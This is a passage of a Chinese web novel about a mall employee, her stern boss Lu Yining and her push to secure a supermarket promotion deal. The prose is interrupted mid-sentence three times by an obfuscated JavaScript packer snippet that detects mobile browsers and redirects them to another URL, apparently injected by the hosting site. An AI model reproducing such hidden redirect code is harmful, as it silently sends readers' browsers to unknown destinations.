陆以宁懒得理他,骆弋舟就笑得更加放肆。其实陆以宁的朋友并不多,在潞城也只有这么一个。他是个不爱交际的男人,跟骆弋舟能处成兄弟也是因着一起在国外留学时的经历。 那时他俩同在一所学校读书,因着巧合又住在了一起。实际那些国内留学来的公子哥们基本上都在一个圈子里混。骆弋舟家底最厚,自然就成了这帮人的老大,天天带着兄弟们不是飙车就是开派对。只有陆以宁是个例外,他从不沾那些乱七八糟的东西,黄赌毒一概不碰,只一心只扑在学习上,在当时一度成为圈里的异类。 不仅如此,身边更是连个女人都没有。“他该不会喜欢男人吧?”说实话当时骆弋舟也是这么想的,甚至还担心自己会是人家的暗恋对象呢。是在有次到他房间找东西,不经意间发现了一本潞大纪念册。翻开看到里面有封情书和一张照片。骆弋舟没忍住好奇心看了,这才恍然大悟,原来丫在国外断情绝爱,是因为心里一直住着这么一个白月光。 后来有次喝酒的时候,骆弋舟问过陆以宁。陆以宁是怎么答的呢?“不认识,没交往过。”他是这么解释的。那封情书确实是一个大学学妹给他写的,但他没同意。实际上这封情书当年压根就没到他手里。是他在办退学手续的前一天,偶然在同学抽屉里发现的。她的情书甚至塞错了人。那个给他写情书表白的大学学妹就是许昭弥。也是他这辈子见过最蠢的女人。 “那你肯定喜欢人家,不然收人家情书干嘛?”骆弋舟又这么问了一句。陆以宁喝了一点小酒,这位在留学圈里向来寡言少语的公子哥在那天晚上却难得有点话密:“不喜欢。我大学时收了一箱子情书,难道每个给我写情书的女孩我都得喜欢?” “不对啊,那你一箱子情书都没带走,怎么偏偏带走那一封?”骆弋舟戳穿他后哈哈大笑。陆以宁突然就不说话了,独自喝起酒来,那是他留学以来的第一次醉酒。 …… 楼上还好,都是IT青年,一点小纠纷不至于闹得不可开交。许昭弥到了之后,先是找店员了解情况,随后对涉事的双方顾客进行解释并安抚,问题很快就解决了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264027|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 对讲机里传来大姚的呼叫:“哎呦喂,中庭活动参与的人实在太少了,现在不忙的都赶紧过来凑个数。”得嘞,大家接到指令后都迅速跑了过去。许昭弥正好也没什么事儿,去之前还特意换了一件衣服,是她自己的紧身连衣裙。平时穿惯了工服的人偶然换上自己的衣服,总会给人一种眼前一亮的感觉。 楼上的骆弋舟看着身姿玲珑有致的小姑娘散着头发,悄悄挤进人群,故意对着陆以宁发出啧啧声,“真没想到咱家小红帽的身材这么带劲儿啊~”当年许昭弥的照片上戴着一顶小红帽,这么多年骆弋舟就一直背地里称呼她为小红帽。 陆以宁终于忍不住黑了脸,沉声警告他:“少打她主意。” “为什么?你不是不喜欢人家吗?”骆弋舟又学着他当年的语气,撅了撅嘴,掐着嗓子贱兮兮地模仿了一句:“谁说我喜欢她了?难道每个给我写情书的女孩我都要喜欢?”模仿得实在太像了,连骆弋舟自己都被恶心到笑了起来。 “你说人家姑娘怎么就那么巧到了你家企业上班呢?别是你故意给人安排的吧?” “你的想象力可真丰富,不去当编剧可惜了。”陆以宁一脸无所谓地看着坐在第二排座位上,正笑眯眯地与主持人互动的许昭弥,漫不经心地解释了一句,“她现在不能谈恋爱。”至于为什么不能谈,他又懒得再说下去,难道他还要对每个人都解释一遍他们之间的合作关系吗? 第二轮抽奖环节,许昭弥没想到自己这个滥竽充数的竟然中了个三等奖,又开心又意外,还偷偷瞄向大姚,生怕大姚让自己把奖品充公了。没想到大姚也在笑,许昭弥这就放心了,开开心心上台领奖,装模作样自己和主持人是第一次见面,“您好您好,荣幸荣幸。” 美女主持人是推广部的同事,她和许昭弥其实还挺熟的,经常和她和贝诗楠一起在茶水间聊帅哥。所以两人配合得特别有默契。“那么让我们恭喜这位客人。在领奖前,我们需要进行一个小互动,这里有真心话或者大冒险的小游戏,这位美女您选择哪个呢?” 许昭弥知道是有这么一个环节的,于是毫不犹豫地选择了大冒险。因为她清楚那些真心话的题目都挺肉麻的,当着这么多人的面她可说不出来。 “好,既然选择了大冒险,那我们来看看这位客人抽中的是什么。哇哦,看起来好刺激呢——请给您的初恋打个电话,并且对他说‘莲花绽放,共庆辉煌。这么多年你过得好吗’。”主持人说完,台下的顾客就哈哈大笑起来,有人带头起哄道:“打电话!打电话!” 吓得许昭弥忙摆手,“我,我没有初恋……” “暗恋也算!” 许昭弥想了想,自己有生以来写过的那唯一一封糟糕的情书算暗恋吗?暗不暗恋她不知道,但她知道那封情书一定是很糟糕的。因为陆以宁调任潞城后第一次在任职大会上露面,许昭弥就坐在第一排认真地看他,心里的小鹿跟什么一样。可陆以宁呢,眼神一次次从她身上掠过,却从没一次在她身上停留。那时候许昭弥就知道他肯定不记得自己了,哪怕她在情书里还夹了一张她的自拍。 “我也没有暗恋过。”许昭弥挺直腰板开口,早让那段往事随风去了。 楼下的活动正在热火朝天地进行,而楼上此刻的氛围却不太妙。 “完犊子,人家没暗恋过!”这他妈也太好笑了吧?陆以宁脸黑的什么一样,偏偏骆弋舟还往他胸口捅刀子,人都快笑疯了。 陆以宁一句话不说,单手揣兜,就那么站在围栏身后,眼睛直勾勾盯着楼下舞台上的许昭弥。 “那就真心话吧。”主持人小姐姐体贴地为她解围,“那您对您喜欢的人提前说一句新年祝福好不好?” 许昭弥依旧摆手:“我也没有喜欢的人哈哈,这个机会就不浪费了,还是送给其他顾客吧。”很快台下就有女孩举手,许昭弥十分爽快地把这个名额让给了那个姑娘。 这么一来也算活跃了气氛,现场的人气比刚刚多了些。许昭弥偷偷溜达到大姚身边,挺胸抬头,得意地说:“嘿嘿总监,我可没有中饱私囊哦!” “还不接着去巡场?” “得嘞。”许昭弥笑眯眯地往楼上走,她坐的是扶梯,在拐角处正好碰到陆以宁和骆弋舟。两个人一个黑着脸一个憋着笑,许昭弥低着头快速从两位大爷身边走过,小声喊了句“陆总好,骆总好”,根本不敢看他们,一直到了三楼才终于松了口气。她可真是太有出息了。 陆以宁的脸色特别难看,就这么持续了好几天。一直到店庆周结束的这天,他那积压已久的火气才借机在这次店庆的总结会上彻底发泄了出来。 14.便利贴与荒原狼14 怎么说呢?这次店庆的成绩其实是非常糟糕的。营运部拉出了店庆前后一周以及去年同期的数据,与当天进行了对比分析,无论是客流量、销售额、会员数据转化率还是客单价,几乎所有指标都没达到预期。活动成本效益分析显示投入与产出严重失衡。 这样的结果让陆以宁勃然大怒,许昭弥第一次看到他在会议室拿报表摔桌子的样子。 “客流量同比下滑28%,GMV未达预算红线67%,高达120万的活动预算仅换回1:0.8的ROI,每投入1元都在产生0.2元的战略亏损!这就是各位引以为傲的店庆答卷?” “VIP尊享通道的启用率不足5%,百万级会员权益包核销量甚至挂零,这次会员活动谁负责?告诉我,VIP席位是摆设吗!” 陆以宁给几个部门的全体员工开大会,大家都低着头默默挨批。 “乱七八糟的活动搞了不少,结果sp呢?任何一个pr都是为sp服务的,不能和sp挂勾就不要做无谓的pr和宣传!现在我需要一个解释,你们自行决定发言顺序。”陆以宁甩开激光笔后仰靠椅,压迫感说了笼罩全场。 贝诗楠和许昭弥坐在会议室最后一排,偷偷给她发消息:“完蛋了,男神真的怒了。你说咱们的年终奖不能没了吧?” 许昭弥也忧心忡忡。她甚至不太敢抬头去看陆以宁,总觉得他的目光好像一直在瞪自己,就挺瘆人的。难道她负责的区域又是最差? “主要是这次商家给的折扣实在太少了陆总,还有一半商家都没参加活动。也不知道营运那边到底是怎么谈的?还有,我们发现商户的员工完全不推荐咱们的活动,估计营运在晨会的时候压根就没给员工培训好吧?” “你们该给的广告位不给,让我们拿什么去谈折扣?明明是你们活动没效果,就别乱扣锅。”推广部老大和大姚为护犊子互相甩了两句锅。 陆以宁皱眉听着他们扯皮也不打断,直到大姚说到主力店的问题,“其实这次最大的问题出在超市那儿,绿野根本不参与咱们的折扣活动。他们去年刚完成系统升级,加入了集团的高端会员体系,然后就以品牌定位为借口,死活不搞任何折扣促销。咱们的人去谈了好几波都被拒绝了。” 陆以宁这才开口:“为什么之前没人找我汇报?” “原来袁姐是负责超市的,她休产假了,没做好交接,是我的问题。” “确实是你的问题。这次营运部问题最大,主力店的存在本来就是以牺牲部分租金为代价来带动客流的,如果做不到这一点,可以考虑更换。” 超市可不是一般的主力店,在任何商场的超市都是像“大爷”一般被供着的。很可能还是通过总部费尽心思托关系才请来入驻的。还能说换就换?大家心里都不由得提了口气。但陆以宁可不像是开玩笑的样子,他继续说:“现场活动糟糕透顶,竟然还要找托来充数,这很光彩吗?媒体宣传也做得一塌糊涂。明天一早每个人都必须给到我一份检讨,另外再提交一份问题溯源报告。写不完就可以收拾东西走人了。” 这一晚几乎全体员工都在加班。办公室仿佛被按下了消音键,大家甚至连抱怨声都不敢发出来。然而人是铁饭是钢,到了饭点不吃饭就饿的慌。于是在小群里纷纷艾特许昭弥:@宝宝去买饭不?帮我带份翘脚牛肉好不好。 @我要炸猪排,还是老样子! @咖喱饭加冰可乐谢谢咯。 @闽南猪脚饭米饭加量谢谢宝。 …… 每次让许昭弥去买饭的理由都是她跟快餐店老板熟悉,出餐迅速且分量十足。许昭弥正为写不出检讨而抓耳挠腮,便索性去帮大家买饭。别的部门同事得知她去买饭,也纷纷在私信中拜托她帮忙捎带一份。结果许昭弥过了一个多小时才回来。她左手提着七份外卖,右手提着十几杯咖啡,整个人累得脖子直冒汗。轻手轻脚地溜进办公室,将外卖一一放在大家的工位上,又给别的部门同事把咖啡送过去。 最后回到自己工位时,她已经很累了,看着自己那份脆皮烧味饭也没了胃口。没一会儿大家就都吃完写完收工走了。许昭弥才刚坐下没多会儿,检讨还没开始写,外面的天已经漆黑一片。 今晚陆以宁也没有走。他在做什么呢?他正看着许昭弥那个蠢货被随便什么人呼之即来、挥之即去地使唤着。他心里实在太疑惑了,为什么别的人都知道自己时间宝贵争分夺秒,而她就这么甘愿被琐事消耗精力? “您吃饭了吗?我刚刚去买饭时多定了一份……”竟然还给他发了这样一条消息。 许昭弥实在不想浪费自己的脆皮烧味饭,又想到陆以宁还没走。他今天发了那么大的火气一定很耗费体力吧?鼓足好大勇气才给他发了那样一条消息。没过两秒就被陆以宁一个电话叫进了办公室。 “你在干什么?”陆以宁突然这么一问。办公室里气压极低,许昭弥不知所措地站在他对面,听他板着脸一字一句地发问道:“每天帮商户修水管、装灯泡还不够,现在连行政杂务也要包揽了?订饭、买咖啡、拿快递,这就是你每天的工作内容?” 许昭弥懵了那么一瞬,有些羞愧地低下头,小声辩解说:“有时候大家都很忙,手头的工作也很重要。这些事情总得有人来做……我只是顺手帮忙。” “你说得对,大家手里的工作都很重要,但这里的‘大家’并不包括你。”陆以宁冷冷说着,随手拿起一份文件,扬在她面前。 “你在帮大家取快递的时候,有人在修改智能巡店系统方案;你在排队买咖啡的时候,有人在调整楼层动线设计。你再看看外面,——所有人手头都有正在推进的重点项目,你呢?很遗憾,我几乎看不到你的任何职业成长轨迹。” 陆以宁其实不是个斤斤计较的男人。他之所以窝火,并不是因为前几天许昭弥在舞台上讲的那番话,而是她实在太好“欺负”。善良过度泛滥,失去了原则和底线时,就和愚蠢没什么区别。他现在是她的领导,就得让她明白这个道理,如果今天再不点醒她,以后她在职场早晚吃大亏。 “确实,你也做了很多。我很欣慰每次你都能积极参与到别人的各个项目里,你乐于助人的精神值得表扬。可是很遗憾,你自己的个人业绩贡献在我这里依然为零。” 许昭弥整个人都是懵的,并没有立刻消化陆以宁忽然对她讲的这番话。甚至他话里似乎还带着那么一点点阴阳怪气。许昭弥只是下意识地有点想为自己辩解:“我也想过要策划一些活动,也问过推广部,可他们说我的一些活动太小,不愿意……” “你有问题不问我这个领导,却去问推广部?你自己不懂得争取吗?承认自己不敢、不愿意迈出这一步很难吗?职场向来是竞争激烈、不进则退的,你整天琐事缠身在我看来就是逃避努力的借口。” 许昭弥忽然就把头抬了起来,眼眶有点红了,像是忍着眼泪不要流出来。她就那么看着他,心想我每天这么努力工作怎么到你眼里就成了这个样子?她觉得自己只是想为大家分担一些而已,却没想到自己的这些善意的行为在领导眼中却成了不务正业,这和她一直以来的认知太不一样了。 她承认他说的有一些对,但也有一点不服,“我承认我确实不够主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272174|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,只会按部就班地完成上级领导交代的日常任务。但我并不觉得我做错了什么,尤其是帮助别人,更没觉得有什么错,难道只有那些轰轰烈烈的大项目才有价值,而平平淡淡地做好每一件小事就没有意义了吗?” 陆以宁被她的倔脾气气得笑了那么一下,意味深长,“有意义,但如果你只想一辈子当个小专员,不想追求进步,那就另当别论。另外,你们营运主管辞职了,现在总部开放竞岗,你们总监提名的主管候选人名单里,几乎与你同样资历的所有同事都在内,但却独独没你,知道为什么吗?” “因为螺丝钉走了就没人打杂了。这就是你的价值、你所谓的意义。出去吧。” 许昭弥人生第一次因为工作哭鼻子,就是在那样一个夜晚。她回到工位上,偷偷把脸埋在肩膀下,咬着牙不让自己发出任何声音,不让还在晚班的同事发现她的崩溃和狼狈。 她为什么哭呢?是因为陆以宁最后那段话真的打击到了她。其实她从没肖想过主管的位置,她知道自己还不够格。可当她得知大姚没有把她写进名单里时还是会难过,那种感觉就仿佛付出得不到认可,并且只有她自己一个人没得到认可一样。就仿佛只有自己被遗忘。所以为什么只有她被忽视了呢?在同事眼里她真的只是一张呼之即来的便利贴吗? 许昭弥那最后的一点自尊促使她倔强地背过身去,努力将颤抖的肩膀隐藏在显示屏后面。以为这样身后办公室里的那个人就不会看到自己。实际她欲盖弥彰得太过明显。陆以宁起身站在玻璃前抽烟,眼神就那样静静看着她躲在电脑后一抽一抽的模样。忽然就觉得心口有那么一丝堵的慌。 其实一开始他并没有打算告诉她这件事的,说完他也有了一点后悔。为什么非要把这些话说出来呢?就让她当个咸鱼一样过日子不好吗?一个企业确实需要勇于上进的人冲锋在前,但也同样得有平凡的螺丝钉坚守岗位。为什么他就一定要渴求她进步呢? 许昭弥哭得令他心烦。心口还有一点说不出来的酸胀。陆曼青这时给他打来电话,他想也没想就拒接了,这是陆以宁第一次拒绝陆曼青的电话。他有点害怕她会提起许昭弥,这让此刻的他不知道该怎么回答。 后来又拿起手机,编辑了一条相对公允的信息想给许昭弥发过去,就在犹豫的一瞬间却又放弃了。算了,也许这也并不是一件坏事。 许昭弥是在下夜班前的半小时离开的商场,今天并不是她夜班,她只是留下来写检讨,可是这个晚上她几乎一个字都没有写出来。透过电梯镜看到红肿的眼睛,觉得自己可真是太滑稽了。就那么背着包包耸拉着脑袋走出大门,路过地铁站的时候也没有停留,潞城初冬的夜晚寒风刺骨,她一路打了好几个喷嚏,不知道是哭的还是冻的,总觉得鼻子敷囊敷囊的,是要感冒了。 那晚她从商场徒步走回了家,整整走了一个小时。进门后,她迅速脱掉鞋子,泡了个热水澡。当身体回归暖意之时,脑子也变得清醒起来,这也是她在这一路上反思和自省的结果。她回想起自己初入职场时的初心,那时的自己满怀憧憬与斗志,渴望凭借自己的努力挣大钱给爷爷买房子。所以后来她为什么就满足于甘愿当个吊车尾呢?她究竟在怕什么? 她忽然觉得陆以宁说得没错。她不敢突破底层舒适圈,一味沉浸在安逸之中。职场是残酷的,要想进步晋升,除了兢兢业业还必须勇敢。她害怕走出舒适区后可能面临的失败与挫折,害怕失去现有的安稳。可她也清楚,若一直这样,她将永远无法实现自己的目标,所以她不能再这样下去,必须鼓起勇气挑战自我,必须勇敢迈出关键的一步。 15.便利贴与荒原狼15 转天一早,许昭弥来到单位后,拿着检讨书第一个敲响了大姚办公室的门。 “很好,你是部门里第一个交上来的,放这儿吧。”见她没走,大姚问道,“还有事吗?” “总监,听说‘绿野超市’的对接工作还没有人负责,袁姐一时半会儿回不来。我想申请接手‘绿野’,去谈我们年货节的折扣。” “你?”大姚有点意外,一方面担心她能力不行,另一方面呢,又觉得部门里杂七杂八的事儿都需要她帮忙,没有足够精力再去处理这么难搞的谈判。“你不是还在跟进于晓沁那边的装修项目吗?那个项目也很重要,别把自己累坏了。” “没关系的总监。装修的事儿我会继续跟进,不会有任何懈怠。我在负一楼餐饮区也积累了很多与商家谈判的经验,我相信自己有能力胜任这份工作。我也非常希望能够为部门的业绩贡献一份力量。” 许昭弥说得是那么诚恳。而大姚呢?虽然对她能否胜任这项任务有所顾虑,但目前确实没有找到更合适的人选,再加上他理解许昭弥渴望进步的心情,最终决定给她这个机会。“好吧,那就辛苦你了,遇到任何困难都可以随时来找我。” 许昭弥点头:“谢谢总监!” 看吧,有时候迈出第一步其实也没有那么难。 许昭弥从大姚办公室出来,正巧陆以宁推开办公室的门,问大家:“袁可嘉的工作交接好了吗?绿野现在由谁负责?” 也不知怎的就这么巧。许昭弥立刻向前一步,举起手回答:“是我,我来负责绿野的后续跟进工作。” 她就那样盯着他的眼睛,光明正大、不卑不亢。尽管一夜没睡,眼睛肿着,黑眼圈浓重得甚至像是只小熊猫。但刚刚举手的勇气让她身上似乎多了些别的东西,有那么一瞬比身后窗前的晨曦还耀眼。陆以宁看着她,微微勾起唇角,隐约像是笑了一下,说道:“准备一下绿野近半年的经营月报,十分钟后来我办公室。” 这场面实在是太过amazing了,公司里那个常年傻乎乎的,像咸鱼一样的同事突然开始进步了,这是一件很可怕的事情。大家纷纷将目光投向许昭弥,而许昭弥呢?也并不在意别人的目光,立刻回到工位,给袁姐发了条消息,随后便开始准备报告。 不过好像每个办公室里都有那么一两个爱使唤人的“大小姐”。有人对着许昭弥的工位喊道:“亲爱的,能不能帮我下楼拿个快递?我正在做市场调研方案呢,你知道的,这个方案很重要。” “自己拿!没腿吗?整天让别人帮这个那个的。陆总刚刚叫弥弥去办公室没听到吗?不然绿野你去谈?”贝诗楠立刻怼了她一顿。对方很不高兴,拉下脸来,阴阳怪气地念叨了一句:“还真以为她能把绿野谈下来啊?”这话挺气人的。 许昭弥现在心情很好,就不想理她。朝贝诗楠笑笑,拿着报告进了陆以宁的办公室。 “陆总,这是您要的资料。” 陆以宁正在接电话,看了一眼椅子,示意她先坐。许昭弥便规规矩矩地坐在对面椅子上等待。等陆以宁挂断电话后,他仍没看那份材料,反而问她:“想好怎么谈了吗?” “我已经问过袁姐超市市场营销经理的电话,准备先去和他们经理沟通。” “之前四次提案都卡在市场部,他们根本没有预算决策权,你以为换个人过去谈判就可以了?”陆以宁说着划开手机通讯录,找到一个电话号码让许昭弥记下,“这是绿野店总的私人电话,你就说是我介绍的,和他预约个时间拜访一下。” 许昭弥接过,“哦”了一声,低头摆弄纸条。 “抬头。” 许昭弥立刻抬起头。 “工作不是单打独斗,我们身处团队,周围有现成人脉可用。用透这些内部关系,既能少走弯路,又能提高成功率。记住,团队永远比个人单干有效率。” 许昭弥认真听着,突然意识到陆以宁在给自己开小灶。甚至有了一点隐秘的激动。他平时也这样私下指导袁姐和米姐吗?他昨天明明觉得自己不行,怎么今天就突然改变看法了呢?她想了一点便不再让自己再分神,认真听他的教导,最后点头应道:“我明白了,谢谢。”然后拿着电话号码走了,觉得自己像是一个即将上战场的女战士。 陆以宁被她用力关门的样子逗笑了一下。 许昭弥就这样跑起了主力店。 然而第一关她就遭遇了困难。虽然李总的电话打通了,也卖了陆以宁面子,但电话里却总在客客气气地敷衍。每次许昭弥提出想去拜访,得到的总是“最近忙,再等等”。 就这样过了一周,许昭弥依旧没什么进展。她其实还想去再请教陆以宁,问问这种情况她该怎么办,要不要主动上门呢?但又有点不敢。在一楼咖啡店买咖啡的时候,脑子里还都是这些问题。 “买咖啡要这么久?”陆以宁走进来,站在她身后,“两杯美式,我请。”看她耸拉着一张小脸,真不至于愁成这样,竟然有想逗她笑笑的心情,“内部人脉不好使?” “好使好使。就是……” 陆以宁伸出两根手指,轻轻点了一下她的脑门,“那就再想想我其他的话。”拿起其中一杯美式离开了咖啡店。 他今天也真够邪门的。 许昭弥捧着咖啡,望着陆以宁离开的身影。他身姿挺拔,自信洒脱,浅灰西服外的休闲风衣随他的大长腿摆动,酷飒带风。走过玻璃窗,许昭弥看到他的侧脸,阳光下的冷白皮清冷却又夺目。许昭弥忽然就想到了那天他在办公室里对她说过的另一段话。 “内部人脉无效时,转向外部资源。商场商户、供应商、行业熟人,都是突破口。” 外部资源。许昭弥咬着吸管往回走,她有什么外部资源呢?就有一瞬间福至心灵。对啊!她有啊!她在负一楼的餐饮有那么多关系要好的商户,平时维护的这些商户关系都是她的外部资源啊! 脑海中突然冒出一个念头:地下那家“牛满天下”所用牛肉与绿野超市里售卖的牛肉会不会来自同一个供应商呢?毕竟两家都是主打“澳大利亚进口”。回到办公室后,许昭弥就立刻着手查阅相关资料。 她先搜索了“牛满天下”与“绿野超市”的官方网站,试图找到有关供应商的信息,可两家公司的网站上都没详细列出合作伙伴名单。许昭弥果断给牛满天下店长打电话,打听供应商的情况。店长和她关系好,也十分配合。为了进一步确定她还查询了工商注册信息和公开的供应链数据。随后又从供应商那里查到了一份行业报告。 终于在这份行业报告中,许昭弥找到了答案。“牛满天下”和“绿野超市”都采用了一家名为“澳牧臻品”的进口肉类供应商。这家供应商以其高品质的牛肉和稳定的供应链管理而闻名,为众多知名餐饮企业和超市提供优质原材料。果然是同一家供应商! 许昭弥可太高兴了。 “牛满天下”的店长还告诉许昭弥,下周“澳牧臻品”正好有一场合作伙伴高层社交活动。就在连华后面的希尔顿酒店举行,所有下游企业高管都会出席。许昭弥趁机要了个入场名额,店长痛快地答应了。 第一次见到李总,就是在那个由澳洲牛肉大佬举办的酒会上。 她也不知道当时自己哪来的勇气,只想着一定要把这件事做好。在中场休息吃甜点的时候,许昭弥来到李总身边,笑眯眯道:“李总您好,我是连华购物中心营运经理许昭弥,之前给您打过电话的,想邀请绿野参与咱们商场年底的年货节活动。” 那人有点吃惊,没想到她追到了这里。可面对一个笑脸盈盈的小姑娘,人家又不好发作。一会儿看看表,一会儿和周围人谈笑两句,故意不把她当回事。 但许昭弥的态度依旧十分认真:“…李总您看,其实适当开展折扣活动,不但不会有损咱们高端品牌形象,反而能吸引更多顾客来体验咱们的高品质商品和服务。这就好比大明星偶尔走下神坛和粉丝互动一下,人气肯定蹭蹭往上涨的哈。而且商场品牌形象提升了,咱们超市的品牌价值自然也会随之提升呀。”李总听了几句,敷衍地说了声“好好好”便离开了。 陆以宁好像在她的脑子里装了部雷达。在她刚要萌生出一点气馁的时候,声音就再度响起—— “其次参加行业活动:关注行业内的重要活动和会议,了解高层是否会出席。如果有机会,可以报名参加这些活动,在活动中寻找与高层交流的机会。这样不仅可以增加见面的可能性,还能展示营运经理对行业的关注和专业素养。” 回去后许昭弥就马不停蹄地搜索和零售行业连锁会员制仓储相关的信息。年底的活动是真多呀!月底正好就有一个行业峰会,拟邀名单上就有绿野。也是在潞城举办! 许昭弥重振旗鼓,于是又那么水灵灵地出现在李总面前,还是笑呵呵的,“李总,咱们商场和超市一直以来都是长期合作的关系。这次年底折扣活动,对我们双方来说是共同发展的好契机。合作能让我们实现资源共享、优势互补,一起应对市场竞争。参与年货节折扣,咱们携手共进,一定能实现互利共赢哦。” 几次下来,李总真是怕了她了。周围几位大佬也调侃起来:“这小姑娘可以,简直就是个小钢炮儿!要不干脆来我们企业上班得了?我们就缺你这样的人才,哈哈哈哈。”李总呢,这次竟然破天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277052|165891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荒地给了她一个邮箱号,“行吧,你把方案给我发到这个邮箱,我先看看。” 许昭弥心里忽然就有了那么一丢丢成就感。这是她在以往的工作中从没体会过的。在此之前她根本不敢想象,像绿野这样体量庞大的连锁超市,如果真的被她成功谈下来,加入年底年货节,并且成为绿野中国唯一一家有折扣的店铺,就在潞城莲花!那将会给他们带来多么巨大的客流量!绿野的明星单品有的甚至比山姆的还要出名!要是那些明星单品都能参与到促销,说不定连黄牛都会赶来排队呢! 回到家就把早早准备好的方案给李总邮箱发了过去。这一晚上她激动得在床上翻来覆去睡不着,她很开心,甚至有些想把这份开心与人分享一下。分享给谁呢?她在大飞和琳琳的三人群里丢了个炸弹表情包进去,安静如鸡。琳琳肯定睡了,大飞估计还在台上嗨。 她太想说话了。她第一次被人叫小钢炮儿。什么叫小钢炮儿啊?陆以宁会知道吗?手指就不知不觉地在屏幕上点了两下,信息竟然就发了过去。她吓了一跳,快速把手机丢在一边,像烫手山芋,想拿回来撤回的时候发现已经来不及了。 欸?他竟然回了? 就一个问号。 他这么晚了还没睡吗? “我拿到李总的邮箱了,他说让我把方案发给他看一下。” “厉害了小钢炮。” 许昭弥赶紧把手机塞到枕头下,红着脸睡了。 日常工作还是要做的。巡场呀,做报表呀,解决问题呀,处理投诉呀。就是比平时忙碌了一点。不过她忙的事情很重要。她一忙起来,办公室里的人似乎都不再找她做那些杂七杂八的事情了,甚至还会主动帮她拿快递。真是太神奇了! 贝诗楠看她吃饭都在研究方案,是个惊叹的样子,“哇塞,这么拼?看来对主管之位有想法?” “我想。但是我业绩不好看,资历也不够。” “你这个如果谈下来,业绩好看的。咱部门除了米姐资历高,剩下都差不多啊。” “那我努力。” 到了下午的时候,于晓沁突然来了。许昭弥就很认真地跟在她身后汇报。 “于小姐您好,欢迎您来视察。目前咱们店铺的装修进度已经过半,整体情况非常顺利。在施工质量方面,我们一直严格把关,所有装修材料均符合高标准要求。目前基础工程已完成,地面铺设工作正在有序进行中,我们选用的是优质的地面材料,不仅美观耐用,而且易于清洁和维护……争取在年后完工,为您呈现一个高品质店铺。” 于晓沁听后很满意,夸了许昭弥两句,后又被大姚请到外面去谈话,里面除了工人就剩了许昭弥和陆以宁两个。 许昭弥刚刚被夸了嘛,就很开心。怀里抱着个笔记本,咧着嘴站在门口傻笑。 陆以宁简单视察了一圈,单手揣着口袋是个很闲适的样子。走到门口时微微停顿,看她一眼,也不知道这笨蛋在傻笑什么。 “李总那谈的怎样了?” “方案发过去了!还在等回复,估计李总还没来得及看……” 还真是个笨蛋。人家不回复就是觉得方案不满意,人家一辈子不回复你就一直等? “有planB吗?直接给到第二版方案。不要废话。” 许昭弥没有PlanB。有些心虚地咽了咽唾沫,被陆以宁抓到,眉毛立刻立了起来,“别告诉我你没有PlanB?” “我有我有。我回去就发。”回去就写。许昭弥又被陆以宁上了一课,懂得做任何事情都要有PlanB,就可以在主计划受阻时迅速切换到备用方案,增加成功几率。 其实许昭弥并不笨,陆以宁能够看得出来。瞧这不是很快就懂了吗?她只是主观能动性太差,得靠别人鞭策一下才会行动起来。不然就只有像伍叔那种“生死攸关”的大事才能激发她的斗志。 许昭弥挺开心的,于是胆子又大了一点点。 “陆总,我还想问问,如果没有被总监提名进入主管候选人名单,可以自己越级申请吗?” “我们干的是商业地产行业,看重的是能力。只要成绩漂亮,一切都有可能。” “谢谢!那我去忙啦。” 许昭弥等的就是这样一句话:只要努力工作,就一定会得到认可。她很开心得到这样一个答案。虽然最近她真的很累,但又真的很充实,这段日子以来无论是学到的知识还是获得到的成就感都比她之前得到的多得多的多。 陆以宁也他妈的累。他觉得自己也是有什么大病一样,要不就是闲出屁了。明明是自己一个电话就能解决的事,非要搁她这遛猴呢。 16.便利贴与荒原狼16 于晓沁回来,就看到陆以宁这样一副眼神:宠溺的,掩饰的,蠢蠢欲动的,欲盖弥彰的。 Amazing。这可真是太惊奇了。 “你眼神不对。” “什么不对?”陆以宁收回目光。许昭弥这时候已经跑远了。于晓沁就顺着他的目光看去,恰好瞧见许昭弥的背影消失在扶梯之上。哇哦。墨镜都被她下意识地往下拨了那么一下。 “我终于知道你的审美了。” 陆以宁切了一声。不承认也不否认。 许昭弥当晚值夜班,马不停蹄地准备起Plan B。在着手写之前,她还特意去绿野超市转了一圈,进行实地调研。 这一版的方案不再仅仅聚焦于商场,而是将重点放在了对绿野的分析上,旨在让对方充分了解他们的努力以及对本次合作的高度重视。 而且这次实地调研她还有了新的突破,许昭弥从采购委员会那里了解到绿野正在优化华北区冷链成本,她向大姚请教,用模型连夜估算,如果参与年货节,那么连华的中央仓储系统可以帮助绿野降低几乎高达23.6%的履约成本,这个数据正好卡在他们绿野董事会公开数据可以查询到的要求的降本阈值上。 就真的很有诚意了。 方案写好后先给大姚过了一遍,得到了大姚的高度赞扬。随后她便将方案发给了李总。 